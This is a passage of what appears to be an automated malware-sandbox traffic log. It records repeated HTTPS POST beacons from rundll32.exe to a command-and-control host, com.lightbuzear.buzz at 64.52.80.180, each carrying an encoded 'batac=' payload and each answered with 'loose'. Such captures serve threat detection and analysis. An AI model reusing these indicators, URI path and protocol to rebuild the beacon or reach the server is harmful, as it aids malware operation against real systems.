2022-08-14 06:40:19 UTC	82	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:19 UTC	83	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:19 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:19 UTC	84	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49177	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:39:31 UTC	9	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:39:31 UTC	10	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:39:31 UTC	11	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:39:31 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:39:31 UTC	11	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.22	49222	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:20 UTC	84	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:20 UTC	84	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:20 UTC	85	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:20 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:20 UTC	85	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.22	49223	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:21 UTC	85	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:21 UTC	86	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:22 UTC	87	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:21 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:22 UTC	87	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.22	49224	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:22 UTC	87	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:22 UTC	87	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:23 UTC	88	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:22 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:23 UTC	88	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.22	49225	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:23 UTC	88	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:23 UTC	89	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:24 UTC	90	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:24 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:24 UTC	90	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.22	49226	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:24 UTC	90	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:24 UTC	91	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:25 UTC	92	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:25 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:25 UTC	92	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.22	49227	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:25 UTC	92	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:25 UTC	92	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:26 UTC	93	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:26 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:26 UTC	93	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.22	49228	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:26 UTC	93	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:26 UTC	94	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:27 UTC	95	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:27 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:27 UTC	95	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.22	49229	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:27 UTC	95	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:27 UTC	95	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:28 UTC	97	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:28 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:28 UTC	97	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.22	49230	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:29 UTC	97	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
2022-08-14 06:40:29 UTC	97	OUT	Data Raw: 62 61 74 61 63 3d 30 4c 2b 58 45 56 51 4d 64 4e 45 30 6d 64 6d 4f 4b 34 70 74 6b 67 52 78 72 57 48 6c 33 50 4b 77 69 67 39 77 34 35 38 37 2f 68 4d 6c 2f 51 62 45 37 75 72 57 54 6a 4e 52 44 4e 67 45 79 6c 4b 72 67 33 79 31 59 58 34 46 2f 5a 4e 36 44 59 77 53 6e 2f 36 48 74 55 58 4a 47 67 35 32 57 46 2f 2f 36 6d 6e 79 4a 56 6d 78 32 44 69 49 35 78 32 74 47 34 41 44 67 70 53 6c 56 48 46 41 59 30 42 4f 6d 62 61 61 35 36 2b 52 70 59 54 54 39 74 5a 4b 4f 4b 58 4f 65 47 35 4f 6e 45 69 68 51 34 76 34 53 57 6a 36 61 61 6e 4e 6b 45 61 48 54 76 76 69 55 76 63 61 4c 35 4e 62 6a 77 65 64 63 41 74 50 61 49 79 33 33 4b 70 4d 6d 56 6f 7a 32 35 64 65 76 70 73 67 32 6c 44 50 68 4a 46 6b 53 39 54 44 58 74 74 32 76 74 69 34 42 45 57 67 6a 2b 58 71 73 61 57 7a 4d 68 43 31 59 Data Ascii: batac=0L+XEVQMdNE0mdmOK4ptkgRxrWHl3PKwig9w4587/hMl/QbE7urWTjNRDNgEylKrg3y1YX4F/ZN6DYwSn/6HtUXJGg52WF//6mnyJVmx2DiI5x2tG4ADgpSlVHFAY0BOmbaa56+RpYTT9tZKOKXOeG5OnEihQ4v4SWj6aanNkEaHTvviUvcaL5NbjwedcAtPaIy33KpMmVoz25devpsg2lDPhJFkS9TDXtt2vti4BEWgj+XqsaWzMhC1Y
2022-08-14 06:40:29 UTC	98	IN	HTTP/1.1 200 OK Date: Sun, 14 Aug 2022 06:40:29 GMT Server: Apache/2.4.41 (Ubuntu) Access-Control-Allow-Origin: * Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8
2022-08-14 06:40:29 UTC	98	IN	Data Raw: 6c 6f 6f 73 65 Data Ascii: loose

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.22	49231	64.52.80.180	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-14 06:40:30 UTC	98	OUT	POST /Kolpt523ytcserstrew/torel HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: com.lightbuzear.buzz Content-Length: 1118 Cache-Control: no-cache
